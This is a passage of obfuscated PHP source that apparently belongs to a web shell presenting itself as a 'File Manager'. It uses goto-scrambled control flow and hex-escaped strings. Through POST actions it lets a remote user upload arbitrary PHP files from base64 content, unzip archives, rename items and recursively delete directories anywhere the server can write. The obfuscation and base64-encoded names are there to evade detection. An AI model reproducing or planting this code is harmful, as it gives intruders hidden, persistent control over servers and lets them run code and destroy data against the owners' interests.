MoEwg; KQoRr: if (!(!nQXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto R2fsc; } goto AihoA; mSk9f: case "\165\160\154\157\x61\144\x5f\160\150\160": goto dxdMd; dxdMd: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? nY0tU($_POST["\x70\141\x74\x68"]) : __DIR__; goto Pb0oM; hr4po: $C_q13 = ["\x73\165\143\143\145\163\x73" => true, "\155\145\163\x73\x61\147\x65" => "\x50\110\x50\40\x66\151\x6c\145\x20\165\x70\x6c\157\x61\x64\x65\x64\x20\163\x75\143\143\145\163\x73\146\x75\154\x6c\171\x2e"]; goto Y8QVm; EV6b7: throw new Exception("\x49\x6e\166\x61\154\x69\144\x20\144\141\164\141\x20\146\x6f\x72\40\x50\x48\120\40\165\160\x6c\x6f\x61\144\56"); goto YeT6E; h0fEK: $jTTGJ = rtrim($N3FQp, "\x2f") . "\x2f" . $iKGAi; goto MpHG6; YeT6E: fWTCg: goto quqXU; Y8QVm: fweIz: goto rdYwU; quqXU: $iKGAi = T7y52(base64_decode($l70k5)); goto Oz5_m; Pb0oM: $l70k5 = isset($_POST["\146\151\x6c\145\x6e\x61\155\145\137\142\x61\163\x65\66\x34"]) ? $_POST["\146\x69\x6c\145\156\x61\155\145\x5f\x62\141\x73\145\66\64"] : ''; goto kbzVC; Oz5_m: $DOdOg = $iKGAi . "\56\164\170\x74"; goto celZ0; nk57G: $e3qbB = rtrim($N3FQp, "\57") . "\57" . $DOdOg; goto h0fEK; celZ0: if (!(strpos($tPB71, "\54") !== false)) { goto KGuU8; } goto hpCdA; hpCdA: list(, $tPB71) = explode("\x2c", $tPB71); goto FiSuk; GGBuU: throw new Exception("\x43\x6f\x75\154\144\x20\x6e\157\164\40\x73\x61\x76\145\40\x74\145\x6d\160\x6f\x72\x61\162\171\x20\x66\151\x6c\145\x2e\x20\103\150\x65\143\x6b\x20\160\145\x72\155\x69\x73\163\151\x6f\x6e\163\56"); goto CBW5E; Q2Das: throw new Exception("\x43\157\165\154\x64\40\156\x6f\164\40\162\x65\x6e\141\155\x65\x20\164\x65\155\x70\157\x72\x61\x72\x79\40\146\151\154\x65\x2e"); goto uCCd0; uCCd0: goto fweIz; goto TbZqf; fdZIy: unlink($e3qbB); goto Q2Das; rQt4j: if (rename($e3qbB, $jTTGJ)) { goto awDxv; } goto fdZIy; CBW5E: CJrv3: goto rQt4j; FiSuk: KGuU8: goto aiEjh; TbZqf: awDxv: goto hr4po; kbzVC: $tPB71 = isset($_POST["\143\157\156\164\145\x6e\164\137\142\x61\x73\145\66\x34"]) ? $_POST["\x63\x6f\156\x74\145\x6e\164\x5f\x62\x61\x73\x65\66\64"] : ''; goto yxnwo; MpHG6: if (!(file_put_contents($e3qbB, $uyHJc) === false)) { goto CJrv3; } goto GGBuU; yxnwo: if (!(!nqXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto fWTCg; } goto EV6b7; aiEjh: $uyHJc = base64_decode($tPB71); goto nk57G; rdYwU: goto ycSVf; goto ynwyj; ynwyj: case "\x75\x6e\172\x69\160": goto j71el; j71el: $N3FQp = isset($_POST["\x70\141\x74\x68"]) ? NY0TU($_POST["\x70\141\164\150"]) : __DIR__; goto HhhL1; h2u4s: if (class_exists("\x5a\x69\x70\101\x72\x63\x68\x69\166\145")) { goto XI5A7; } goto gDE4q; v6xw7: $EtgLY->extractTo(dirname($xwHaG)); goto AR4r6; NE8fX: XI5A7: goto iCXQ9; AR4r6: $EtgLY->close(); goto RJdP_; HhhL1: if (Nqxxk($N3FQp)) { goto fTIAY; } goto fB1ER; r28vr: goto urtPj; goto Yf6cr; RJdP_: $C_q13 = ["\x73\x75\x63\x63\145\x73\163" => true, "\155\x65\x73\x73\141\147\x65" => "\x41\162\x63\150\x69\166\x65\x20\x65\x78\x74\162\141\x63\164\x65\x64\x2e"]; goto M9hq_; p9Yjp: throw new Exception("\x46\x61\151\x6c\x65\x64\40\x74\157\40\157\x70\145\x6e\x20\x61\x72\x63\x68\151\x76\145\56"); goto r28vr; JzF9U: throw new Exception("\x49\156\x76\x61\154\151\144\40\132\111\x50\40\146\x69\x6c\145\40\x70\x61\x74\150\56"); goto l8PIt; fB1ER: throw new Exception("\111\156\x76\x61\154\151\144\x20\x70\141\x74\x68\x2e"); goto ehMVp; EeIZ5: if ($EtgLY->open($xwHaG) === TRUE) { goto Z7L05; } goto p9Yjp; V9ux2: goto ycSVf; goto PIuPs; iCXQ9: $EtgLY = new ZipArchive(); goto EeIZ5; vyegy: $xwHaG = isset($_POST["\160\141\x74\x68"]) ? Ny0TU($_POST["\x70\141\164\x68"]) : ''; goto hNwxQ; Yf6cr: Z7L05: goto v6xw7; hNwxQ: if (!(!realpath($xwHaG) || !is_file(realpath($xwHaG)) || pathinfo($xwHaG, PATHINFO_EXTENSION) !== "\x7a\x69\160")) { goto P3vJL; } goto JzF9U; ehMVp: fTIAY: goto vyegy; gDE4q: throw new Exception("\x50\110\x50\x20\x5a\111\x50\40\145\170\164\145\x6e\x73\x69\157\x6e\40\156\x6f\x74\40\x69\x6e\x73\x74\x61\154\154\145\144\56"); goto NE8fX; l8PIt: P3vJL: goto h2u4s; M9hq_: urtPj: goto V9ux2; PIuPs: case "\x64\145\154\145\164\145": goto tnc3C; IX1xj: $UT3Xw = isset($_POST["\151\x74\x65\x6d\163"]) && is_array($_POST["\151\x74\x65\x6d\x73"]) ? $_POST["\151\164\145\x6d\x73"] : []; goto a474Y; jDYzc: throw new Exception("\116\x6f\x20\x69\164\145\x6d\163\x20\163\x65\x6c\145\x63\x74\145\x64\40\146\157\x72\40\x64\145\154\x65\x74\151\157\156\x2e"); goto URVwS; EnthP: foreach ($UT3Xw as $pZ4PV) { goto ERlCU; T9sCk: NGGjy($qgHjW); goto McV9U; McV9U: roUZs: goto HqCFQ; nVSkN: if (!file_exists($qgHjW)) { goto roUZs; } goto T9sCk; HqCFQ: tuHG8: goto mVB9d; ERlCU: $qgHjW = rtrim($N3FQp, "\57") . "\57" . $pZ4PV; goto nVSkN; mVB9d: } goto MG9h4; KyY3J: goto ycSVf; goto kp8UV; MG9h4: ZQ2Zt: goto XJEc3; tnc3C: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0TU($_POST["\x70\x61\164\150"]) : __DIR__; goto IX1xj; URVwS: OYjgE: goto dUZ2K; dUZ2K: function ngGJY($pZ4PV) { goto M1hPt; jtKjl: return unlink($pZ4PV); goto j5W0I; IxivI: foreach ($wolKu as $ojlAu) { ngGJY("{$pZ4PV}\x2f{$ojlAu}"); P4TSR: } goto kZ4he; kZ4he: STXtc: goto iYxii; LDBto: $wolKu = array_diff(scandir($pZ4PV), ["\x2e", "\x2e\x2e"]); goto IxivI; Q2JPT: UQ51L: goto Pp06I; M1hPt: if (is_dir($pZ4PV)) { goto m_qLf; } goto jtKjl; iYxii: return rmdir($pZ4PV); goto Q2JPT; UU8Yt: m_qLf: goto LDBto; j5W0I: goto UQ51L; goto UU8Yt; Pp06I: } goto EnthP; a474Y: if (!empty($UT3Xw)) { goto OYjgE; } goto jDYzc; XJEc3: $C_q13 = ["\x73\165\143\x63\145\x73\x73" => true, "\155\x65\163\x73\x61\x67\x65" => "\111\164\x65\155\163\x20\144\145\x6c\x65\x74\x65\x64\56"]; goto KyY3J; kp8UV: case "\x64\145\x6c\x65\x74\145\137\x62\66\64": goto Qo_HQ; o9Geq: if (!empty($UT3Xw)) { goto bIgN3; } goto U8OJB; cmkqA: bIgN3: goto cNHA4; CtCXm: goto ycSVf; goto B4c3f; V9AAM: tcc0Y: goto Hjg4t; df3TJ: foreach ($AopT5 as $pp4Zo) { $UT3Xw[] = base64_decode($pp4Zo); hDEUI: } goto FVEvK; FVEvK: YTElY: goto o9Geq; Qo_HQ: $N3FQp = isset($_POST["\160\x61\x74\150"]) ? NY0tU($_POST["\x70\x61\164\x68"]) : __DIR__; goto dexUZ; dexUZ: $AopT5 = isset($_POST["\x69\164\x65\155\163\137\142\66\x34"]) && is_array($_POST["\x69\164\145\x6d\163\x5f\142\66\x34"]) ? $_POST["\151\164\145\155\163\137\142\x36\64"] : []; goto KneCe; KneCe: $UT3Xw = []; goto df3TJ; cNHA4: function LHB01($pZ4PV) { goto C2Oey; NxdAz: $wolKu = array_diff(scandir($pZ4PV), ["\56", "\56\x2e"]); goto yY_5l; KyZfR: return unlink($pZ4PV); goto owZbu; XKe1G: rYEPR: goto NxdAz; yY_5l: foreach ($wolKu as $ojlAu) { LHB01("{$pZ4PV}\x2f{$ojlAu}"); X0WVR: } goto VsBSE; owZbu: goto l3EIG; goto XKe1G; VsBSE: FQz9b: goto oYmV0; YTNri: l3EIG: goto w59M4; oYmV0: return rmdir($pZ4PV); goto YTNri; C2Oey: if (is_dir($pZ4PV)) { goto rYEPR; } goto KyZfR; w59M4: } goto rTvM9; Hjg4t: $C_q13 = ["\163\165\143\143\145\x73\163" => true, "\155\x65\163\163\x61\x67\x65" => "\111\x74\145\155\x73\x20\x64\x65\x6c\x65\164\145\x64\x2e"]; goto CtCXm; rTvM9: foreach ($UT3Xw as $pZ4PV) { goto augDN; mkHI_: Jk67o: goto vEGF0; augDN: $qgHjW = rtrim($N3FQp, "\x2f") . "\57" . $pZ4PV; goto R3UhS; l1gC6: lHB01($qgHjW); goto h0b9E; h0b9E: LWEP_: goto mkHI_; R3UhS: if (!file_exists($qgHjW)) { goto LWEP_; } goto l1gC6; vEGF0: } goto V9AAM; U8OJB: throw new Exception("\x4e\x6f\x20\x69\164\x65\155\163\x20\163\x65\x6c\145\143\164\x65\x64\x20\146\x6f\162\x20\x64\x65\154\145\x74\151\x6f\156\56"); goto cmkqA; B4c3f: case "\143\x72\x65\141\164\145\137\x66\x6f\154\x64\x65\x72": goto hFMyY; WjVpt: vFOjM: goto mNqWY; Palgw: goto ycSVf; goto QqBDM; hFMyY: $N3FQp = isset($_POST["\160\141\164\x68"]) ? Ny0tu($_POST["\x70\x61\x74\150"]) : __DIR__; goto TMNGP; mNqWY: $C_q13 = ["\163\165\x63\143\145\163\x73" => true, "\155\x65\x73\x73\141\x67\145" => "\x46\x6f\x6c\144\x65\x72\x20\x63\162\x65\x61\164\145\144\56"]; goto bLaK3; RZUs9: throw new Exception("\111\x6e\x76\x61\154\151\x64\x20\160\x61\x74\150\x20\x6f\162\x20\x66\157\154\144\145\x72\40\156\141\x6d\145\x2e"); goto jNFLN; aTyZH: if (mkdir(rtrim($N3FQp, "\57") . "\x2f" . $zDPI8)) { goto vFOjM; } goto J5Dtz; bLaK3: r0qez: goto Palgw; jNFLN: NL3yu: goto aTyZH; zwHJx: if (!(!NQxxK($N3FQp) || empty($zDPI8))) { goto NL3yu; } goto RZUs9; J5Dtz: throw new Exception("\x43\157\x75\x6c\144\x20\156\157\164\40\x63\162\x65\x61\x74\x65\40\146\157\154\144\x65\162\x2e"); goto ss986; ss986: goto r0qez; goto WjVpt; TMNGP: $zDPI8 = isset($_POST["\156\141\155\145"]) ? str_replace(["\56\x2e", "\57", "\134"], '', $_POST["\x6e\141\x6d\145"]) : ''; goto zwHJx; QqBDM: case "\162\x65\x6e\x61\x6d\145": goto qDv5z; c__4x: $C_q13 = ["\163\x75\x63\143\x65\163\x73" => true, "\155\145\163\x73\141\x67\145" => "\x49\164\145\x6d\40\162\x65\x6e\141\155\145\144\x20\x73\x75\x63\x63\145\x73\x73\146\165\154\x6c\171\56"]; goto u7Skq; MlL1U: clearstatcache(); goto Hpabs; XE6kH: $jj7As = rtrim($N3FQp, "\57") . "\x2f" . $dQ2Id; goto MlL1U; b4i_l: if (rename($aKQJd, $jj7As)) { goto nYIHB; } goto szw6Z; szw6Z: throw new Exception("\x43\157\x75\x6c\x64\40\156\x6f\x74\40\x72\x65\156\141\155\145\x20\x69\164\145\x6d\x2e\40\x43\x68\145\x63\153\40\x70\x65\x72\155\151\163\x73\151\x6f\156\163\56"); goto McX5I; f_VBz: LYhqm: goto b4i_l; qDv5z: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0Tu($_POST["\x70\141\164\x68"]) : __DIR__; goto OpNZ1; e8aB_: throw new Exception("\111\x6e\x76\x61\x6c\151\144\40\x64\141\164\141\40\x66\x6f\162\40\x72\145\156\141\x6d\x69\x6e\x67\56"); goto BGKJV; kcd6W: goto ycSVf; goto V3kxN; BGKJV: cYVP_: goto rcjP2; OpNZ1: $c3CZq = isset($_POST["\x6f\154\x64\137\x6e\x61\x6d\145"]) ? $_POST["\157\x6c\x64\137\x6e\x61\x6d\x65"] : ''; goto cy97s; afm1Y: nYIHB: goto c__4x; izCNd: wEG_d: goto dyB2g; u7Skq: w0Qk5: goto kcd6W; McX5I: goto w0Qk5; goto afm1Y; OClmY: throw new Exception("\123\x6f\x75\x72\x63\x65\x20\151\164\x65\155\x20\x64\x6f\x65\x73\40\x6e\157\x74\40\x65\x78\151\163\x74\40\141\x74\x3a\40" . $aKQJd); goto izCNd; Hpabs: if (file_exists($aKQJd)) { goto wEG_d; } goto OClmY; Wfbq4: if (!(!nqXXk($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto cYVP_; } goto e8aB_; cy97s: $dQ2Id = isset($_POST["\156\x65\167\x5f\156\x61\x6d\145"]) ? str_replace(["\56\56", "\57", "\134"], '', $_POST["\156\145\167\x5f\156\141\155\145"]) : ''; goto Wfbq4; rcjP2: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto XE6kH; dyB2g: if (is_writable(dirname($aKQJd))) { goto LYhqm; } goto RetP0; RetP0: throw new Exception("\104\151\162\x65\143\x74\x6f\x72\171\40\151\x73\40\156\x6f\x74\40\x77\162\151\x74\x61\142\154\x65\56"); goto f_VBz; V3kxN: case "\162\x65\x6e\x61\155\x65\x5f\142\x36\x34": goto G1EyE; zMe0b: unlink($Blo_g); goto NVm39; dygEg: yuctS: goto gHSz9; gHSz9: goto ycSVf; goto wB07j; lTcOf: $jj7As = rtrim($N3FQp, "\57") . "\57" . $dQ2Id; goto JSdgQ; T4zwj: $c3CZq = base64_decode($e212L); goto N50oN; W1MkE: jLJ2Q: goto Ry466; RSXTH: if (!(!NQxxK($N3FQp) || empty($c3CZq) || empty($dQ2Id))) { goto jLJ2Q; } goto rYUKY; JSdgQ: $Blo_g = $aKQJd . "\56\164\x78\x74"; goto AiTjC; yAtn_: goto yuctS; goto GDEqX; A8qBB: throw new Exception("\x43\x6f\x75\154\x64\x20\x6e\157\164\40\144\145\x6c\145\x74\145\x20\157\162\151\147\151\156\x61\x6c\40\x66\x69\154\145\56"); goto HyfUt; NVm39: throw new Exception("\x43\157\165\154\144\x20\156\x6f\x74\40\x70\x65\162\x66\x6f\x72\x6d\x20\x66\151\x6e\x61\154\x20\162\x65\156\141\x6d\145\x2e\40\117\x72\x69\x67\x69\x6e\x61\154\x20\146\151\x6c\x65\40\155\141\x79\40\142\x65\40\x72\145\x73\164\157\162\x65\144\56"); goto yAtn_; AiTjC: if (copy($aKQJd, $Blo_g)) { goto F0wA1; } goto df3zx; AXdYk: F0wA1: goto Vw9oZ; Vw9oZ: if (unlink($aKQJd)) { goto wtE6E; } goto UtPI4; N50oN: $dQ2Id = base64_decode($zd7rX); goto RSXTH; VEnf_: copy($Blo_g, $aKQJd); goto zMe0b; GDEqX: f5lol: goto P7IjC; Ry466: $aKQJd = rtrim($N3FQp, "\x2f") . "\x2f" . $c3CZq; goto lTcOf; G1EyE: $N3FQp = isset($_POST["\x70\141\164\150"]) ? NY0tu($_POST["\160\x61\x74\x68"]) : __DIR__; goto zd67f; HyfUt: wtE6E: goto RrQc4; df3zx: throw new Exception("\103\x6f\x75\154\144\x20\156\157\x74\x20\143\x72\145\141\x74\x65\x20\164\x65\155\160\157\x72\141\162\x79\40\143\x6f\x70\x79\56"); goto AXdYk; rYUKY: throw new Exception("\x49\x6e\166\x61\x6c\151\144\x20\x64\141\164\x61\x20\146\157\x72\x20\162\145\x6e\x61\x6d\151\x6e\x67\x2e"); goto W1MkE; UtPI4: unlink($Blo_g); goto A8qBB; P7IjC: $C_q13 = ["\x73\165\x63\x63\145\x73\x73" => true, "\155\x65\x73\163\141\x67\x65" => "\x49\x74\145\x6d\40\x72\145\x6e\141\x6d\x65\x64\40\x73\165\143\143\145\163\163\x66\165\x6c\154\x79\40\165\x73\151\156\x67\x20\x62\x36\x34\40\155\145\164\150\x6f\144\56"]; goto dygEg; FWMcy: $zd7rX = isset($_POST["\156\145\x77\x5f\x6e\x61\155\x65\137\x62\66\x34"]) ? $_POST["\x6e\145\x77\x5f\156\x61\x6d\x65\x5f\142\66\x34"] : ''; goto T4zwj; RrQc4: if (rename($Blo_g, $jj7As)) { goto f5lol; } goto VEnf_; zd67f: $e212L = isset($_POST["\157\154\144\137\x6e\x61\x6d\145\x5f\x62\x36\x34"]) ? $_POST["\x6f\154\x64\137\x6e\x61\x6d\145\x5f\x62\x36\x34"] : ''; goto FWMcy; wB07j: } goto EQarB; ZfuYF: ycSVf: goto OjHR9; EQarB: LToqq: goto ZfuYF; OjHR9: } catch (Exception $kvqcd) { $C_q13 = ["\x73\x75\143\143\145\x73\163" => false, "\155\x65\x73\163\141\147\145" => $kvqcd->getMessage()]; } goto jtolO; jtolO: echo json_encode($C_q13); goto BCDeX; BCDeX: exit; goto wWXaN; t2KH8: echo "\74\41\x44\117\x43\124\131\120\105\40\x68\164\x6d\154\76\12\x3c\x68\164\155\154\40\154\141\x6e\x67\75\42\145\x6e\42\x3e\12\74\x68\145\141\144\x3e\12\40\x20\40\x20\74\x6d\145\164\141\40\x63\150\141\x72\163\145\164\x3d\42\125\x54\x46\x2d\x38\42\76\74\x74\x69\164\154\x65\x3e\x46\x69\154\x65\x20\x4d\x61\x6e\141\x67\x65\x72\74\57\x74\151\164\154\145\x3e\x3c\x6d\x65\x74\x61\x20\x6e\141\155\x65\75\42\166\x69\x65\x77\160\157\162\x74\x22\x20\x63\157\156\x74\x65\x6e\164\75\x22\x77\x69\x64\164\x68\75\144\145\166\151\x63\145\55\167\151\x64\x74\150\x2c\x20\151\x6e\x69\x74\x69\141\x6c\55\x73\143\141\154\x65\75\61\x2e\x30\42\76\12\x20\40\x20\40\74\x73\164\x79\154\x65\76\12\x20\40\40\40\40\x20\40\x20\x3a\162\x6f\157\164\x7b\55\x2d\141\x63\x63\x65\156\x74\55\x63\157\154\157\x72\72\x23\62\62\67\x31\142\x31\73\55\x2d\150\x6f\x76\145\162\x2d\143\x6f\154\157\162\x3a\x23\x31\145\66\65\71\144\73\55\55\144\141\x6e\147\145\x72\x2d\143\157\154\x6f\x72\72\x23\x64\66\x33\x36\63\x38\73\175\12\40\40\40\40\40\40\40\x20\142\157\x64\171\173\146\x6f\x6e\x74\55\146\141\x6d\x69\x6c\171\x3a\x2d\141\160\160\x6c\x65\x2d\163\x79\x73\164\x65\x6d\x2c\102\x6c\x69\156\153\x4d\x61\143\123\171\x73\164\x65\155\106\157\156\x74\x2c\42\x53\x65\x67\157\145\x20\125\x49\x22\x2c\x52\157\x62\x6f\x74\157\x2c\117\170\x79\x67\x65\x6e\55\x53\141\156\163\x2c\x55\x62\x75\x6e\x74\165\54\x43\x61\156\164\x61\162\145\x6c\154\54\42\110\145\154\166\x65\x74\x69\143\141\x20\116\x65\165\x65\x22\54\163\x61\156\163\55\x73\x65\x72\x69\146\x3b\x62\x61\143\x6b\x67\x72\157\165\x6e\144\72\x23\146\60\146\x30\x66\61\x3b\155\x61\x72\147\151\x6e\72\x30\x3b\x7d\12\x20\40\x20\x20\40\40\x20\40\56\143\x6f\156\164\x61\x69\156\145\162\173\x64\151\163\160\154\x61\171\x3a\x66\x6c\x65\x78\x3b\x66\x6c\x65\170\x2d\x64\x69\162\145\x63\164\151\x6f\x6e\72\143\157\x6c\165\155\x6e\x3b\150\x65\x69\147\150\164\x3a\61\x30\x30\166\150\x3b\175\x68\145\x61\144\145\x72\173\x62\141\x63\x6b\x67\162\157\x75\x6e\x64\x3a\43\146\x66\x66\x3b\x70\141\x64\x64\151\156\147\x3a\61\60\160\x78\40\x32\x30\x70\170\73\142\x6f\x72\144\145\162\x2d\x62\x6f\164\164\x6f\x6d\x3a\x31\160\170\x20\x73\157\x6c\151\144\40\43\144\x64\144\73\x64\151\163\160\154\x61\x79\72\x66\x6c\145\x78\73\x6a\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\164\145\x6e\164\72\x73\160\141\143\x65\55\x62\x65\x74\167\x65\x65\156\x3b\141\x6c\151\x67\x6e\x2d\x69\x74\145\155\x73\72\143\x65\156\x74\145\162\73\146\x6c\x65\x78\55\163\150\162\151\156\153\x3a\x30\73\x7d\155\141\151\x6e\x7b\x66\154\145\170\55\x67\x72\157\167\72\x31\x3b\x70\141\144\x64\151\x6e\x67\x3a\62\60\160\x78\73\157\166\145\x72\x66\154\157\167\x2d\x79\72\141\x75\164\x6f\73\175\x2e\164\157\x6f\x6c\x62\141\162\173\155\141\162\x67\x69\156\x2d\142\x6f\164\x74\x6f\x6d\x3a\61\65\160\170\x3b\144\x69\163\x70\154\141\x79\72\x66\154\x65\x78\73\x66\154\x65\x78\55\167\162\x61\160\72\x77\x72\141\160\x3b\x67\141\x70\x3a\61\x30\160\x78\73\x61\154\151\x67\x6e\x2d\151\x74\145\x6d\x73\72\143\x65\156\x74\145\x72\x3b\175\x2e\160\x61\164\150\x2d\142\x61\162\173\142\141\143\153\147\x72\157\165\156\x64\x3a\43\x66\146\x66\x3b\160\141\144\x64\151\156\147\72\70\x70\x78\40\x31\x32\160\x78\x3b\142\157\162\x64\145\x72\55\x72\141\x64\151\165\163\x3a\64\x70\x78\73\142\157\x72\x64\x65\162\x3a\61\160\170\40\x73\157\154\x69\x64\x20\x23\144\x64\x64\73\146\x6f\x6e\x74\55\x66\141\155\151\154\x79\x3a\x6d\157\x6e\x6f\163\x70\x61\x63\x65\x3b\x66\x6c\x65\170\x2d\147\x72\x6f\167\x3a\61\73\x77\157\162\x64\x2d\142\x72\x65\x61\x6b\72\142\162\x65\141\153\x2d\141\x6c\x6c\73\x7d\x2e\x66\151\154\145\55\x74\x61\x62\x6c\145\173\167\x69\144\164\x68\72\x31\60\x30\45\x3b\x62\x6f\162\144\x65\x72\x2d\x63\x6f\x6c\154\x61\160\163\145\72\x63\x6f\x6c\x6c\141\x70\163\145\x3b\142\x61\143\x6b\147\162\157\x75\x6e\x64\72\x23\146\x66\146\x3b\x74\x61\x62\x6c\x65\55\x6c\141\x79\157\165\x74\x3a\x66\151\x78\145\x64\73\175\56\146\x69\154\x65\x2d\x74\x61\x62\154\145\40\x74\150\x2c\x2e\x66\151\154\x65\55\164\x61\142\154\145\40\164\144\x7b\164\x65\170\164\55\x61\154\151\147\156\72\154\145\x66\164\x3b\142\x6f\162\144\145\x72\x2d\x62\157\x74\x74\x6f\x6d\72\61\160\x78\x20\x73\157\x6c\151\x64\40\x23\x65\x65\145\73\x76\x65\162\164\x69\x63\x61\x6c\55\141\154\151\x67\x6e\x3a\x6d\x69\x64\144\x6c\145\73\x77\157\162\x64\55\167\x72\x61\x70\72\x62\162\145\x61\153\x2d\x77\157\162\x64\73\x7d\x2e\146\151\x6c\x65\55\x74\141\142\x6c\x65\40\164\x68\173\142\141\143\153\147\162\x6f\165\x6e\144\72\x23\x66\71\x66\71\146\x39\73\160\141\x64\144\151\x6e\x67\72\x31\x32\x70\170\40\70\x70\170\x3b\175\56\146\x69\x6c\x65\55\x74\x61\x62\154\x65\40\164\162\72\150\x6f\166\x65\x72\x7b\x62\141\143\x6b\147\162\157\165\156\144\72\43\x66\60\146\x38\146\146\x3b\x7d\56\146\151\x6c\x65\55\x74\141\x62\154\145\40\x74\x68\72\x6e\x74\x68\x2d\x63\150\x69\154\x64\x28\61\51\x2c\x2e\146\x69\x6c\145\55\164\x61\142\x6c\x65\40\x74\144\72\x6e\164\150\55\x63\x68\151\x6c\x64\50\61\x29\x7b\167\151\144\x74\150\72\64\x30\x70\x78\73\x70\141\144\144\x69\156\147\x3a\x31\x32\x70\170\x20\64\x70\170\x20\61\x32\160\x78\40\x31\62\160\x78\73\164\145\x78\x74\x2d\141\154\151\147\x6e\x3a\143\145\156\x74\x65\162\x3b\175\56\x66\x69\x6c\x65\x2d\x74\x61\142\154\x65\x20\164\x68\x3a\156\164\x68\x2d\x63\x68\x69\154\144\x28\x32\51\x2c\x2e\146\x69\x6c\x65\55\164\141\x62\154\x65\x20\164\144\72\x6e\164\x68\x2d\143\x68\x69\x6c\x64\x28\62\51\x7b\167\x69\x64\x74\x68\72\x35\60\x25\73\160\x61\x64\x64\151\156\147\x2d\154\145\x66\x74\72\64\160\170\73\175\x2e\x66\151\x6c\x65\x2d\x74\141\142\x6c\145\40\x74\x68\x3a\156\164\150\55\x63\x68\x69\x6c\144\50\63\51\54\x2e\x66\151\154\x65\x2d\164\141\x62\154\x65\x20\x74\144\72\156\x74\x68\55\143\150\x69\154\x64\50\63\51\x7b\167\151\144\x74\x68\72\61\62\x30\x70\x78\x3b\175\x2e\x66\151\154\145\x2d\164\x61\x62\x6c\145\40\x74\150\72\x6e\164\x68\55\x63\x68\x69\154\144\50\x34\x29\x2c\x2e\146\151\154\x65\55\x74\141\142\x6c\145\40\164\144\x3a\x6e\164\150\x2d\x63\150\151\x6c\144\x28\64\x29\x7b\x77\151\x64\x74\150\x3a\x31\x35\x30\160\170\73\x7d\x2e\x66\151\x6c\145\55\164\141\x62\154\145\x20\164\x68\x3a\x6e\164\150\55\143\150\x69\154\144\x28\65\x29\173\164\145\x78\164\55\141\x6c\x69\x67\x6e\x3a\162\151\x67\150\164\x3b\160\x61\x64\x64\x69\x6e\147\55\x72\151\147\150\x74\72\x31\62\160\x78\73\x7d\56\x61\x63\x74\151\157\x6e\163\x7b\144\x69\163\160\154\x61\x79\72\x66\x6c\x65\x78\x3b\x6a\165\x73\164\x69\x66\171\x2d\x63\157\156\x74\145\x6e\x74\x3a\x66\x6c\x65\170\x2d\145\156\144\x3b\x67\141\x70\72\65\160\170\x3b\175\x2e\x69\164\145\155\55\154\151\156\153\x2c\141\x2e\151\x74\145\x6d\x2d\154\151\156\153\173\164\x65\x78\x74\x2d\x64\145\x63\x6f\x72\141\x74\151\x6f\156\x3a\x6e\157\156\145\x21\151\155\x70\157\162\164\x61\x6e\x74\73\x63\157\x6c\157\x72\72\x76\x61\x72\x28\x2d\x2d\141\143\x63\145\x6e\164\55\x63\157\x6c\157\x72\51\73\x63\x75\162\163\157\162\72\x70\157\x69\156\164\x65\x72\73\175\x2e\151\164\145\155\x2d\154\151\156\153\72\x68\x6f\x76\145\x72\54\141\x2e\x69\164\x65\x6d\55\x6c\x69\x6e\x6b\72\x68\x6f\166\145\162\173\x63\x6f\154\157\x72\72\166\141\x72\x28\55\55\x68\157\166\x65\162\x2d\143\x6f\154\157\162\x29\x3b\x7d\164\x72\x5b\x64\141\164\141\x2d\160\x61\x74\x68\x5d\x7b\143\x75\162\163\x6f\162\x3a\160\157\x69\156\x74\145\x72\73\x7d\x2e\x62\x75\x74\164\157\156\x7b\x62\141\143\x6b\147\162\x6f\165\x6e\144\x3a\x76\x61\162\x28\55\55\x61\x63\x63\145\x6e\164\x2d\143\157\x6c\157\x72\x29\x3b\x63\157\154\x6f\162\x3a\167\x68\x69\x74\145\73\142\x6f\162\144\145\x72\x3a\x6e\157\x6e\x65\x3b\x70\x61\x64\x64\151\x6e\147\x3a\70\160\170\x20\61\62\x70\170\73\142\x6f\162\x64\x65\162\x2d\x72\x61\x64\x69\165\163\x3a\63\160\170\x3b\x63\165\x72\163\x6f\162\72\x70\x6f\x69\156\x74\145\x72\x3b\x66\157\156\x74\x2d\x73\151\x7a\x65\x3a\61\x34\x70\170\x3b\175\x2e\142\x75\164\164\157\156\x2e\x64\x61\156\147\145\x72\x7b\x62\x61\x63\153\147\x72\x6f\165\156\144\x3a\x76\141\x72\50\x2d\55\144\x61\156\x67\145\x72\x2d\143\157\x6c\x6f\x72\x29\73\x7d\43\163\x70\151\156\156\145\x72\173\x64\x69\x73\x70\154\x61\x79\72\x6e\157\x6e\145\73\x7d\x2e\155\157\144\141\154\x2d\x6f\x76\145\x72\x6c\x61\x79\173\144\x69\163\x70\154\x61\x79\72\156\157\x6e\145\73\160\157\163\151\x74\151\157\156\x3a\146\x69\170\x65\x64\73\x74\157\160\x3a\60\73\x6c\x65\x66\x74\x3a\x30\73\167\151\x64\x74\150\x3a\x31\x30\60\45\73\x68\145\151\x67\x68\164\x3a\x31\60\60\45\73\142\141\x63\x6b\x67\162\157\165\x6e\144\x3a\162\147\x62\x61\x28\60\x2c\60\x2c\x30\54\60\x2e\x36\51\73\x7a\x2d\x69\x6e\144\x65\170\x3a\61\60\60\x30\x3b\152\165\x73\x74\x69\146\x79\x2d\143\x6f\156\164\145\x6e\164\72\143\145\156\164\x65\162\x3b\x61\x6c\151\147\156\x2d\x69\164\x65\155\163\72\x63\145\156\x74\145\x72\73\x7d\56\x6d\x6f\144\141\154\55\143\x6f\156\164\145\x6e\164\x7b\x64\151\x73\x70\x6c\141\171\72\146\154\145\x78\73\146\154\145\170\x2d\x64\x69\x72\145\143\x74\151\x6f\156\72\x63\x6f\x6c\165\x6d\x6e\73\142\x61\143\x6b\147\162\157\x75\156\144\x3a\43\146\x66\146\x3b\x70\x61\x64\144\x69\x6e\x67\72\62\x30\160\x78\x3b\142\157\162\144\145\162\55\x72\141\x64\151\165\x73\x3a\x35\x70\170\x3b\x77\x69\144\164\150\x3a\70\x30\x25\x3b\150\145\151\x67\150\164\x3a\70\60\45\73\155\141\x78\55\x77\151\144\164\150\72\71\x30\x30\x70\x78\73\x62\157\x78\x2d\x73\150\x61\x64\x6f\x77\72\60\40\x35\x70\x78\x20\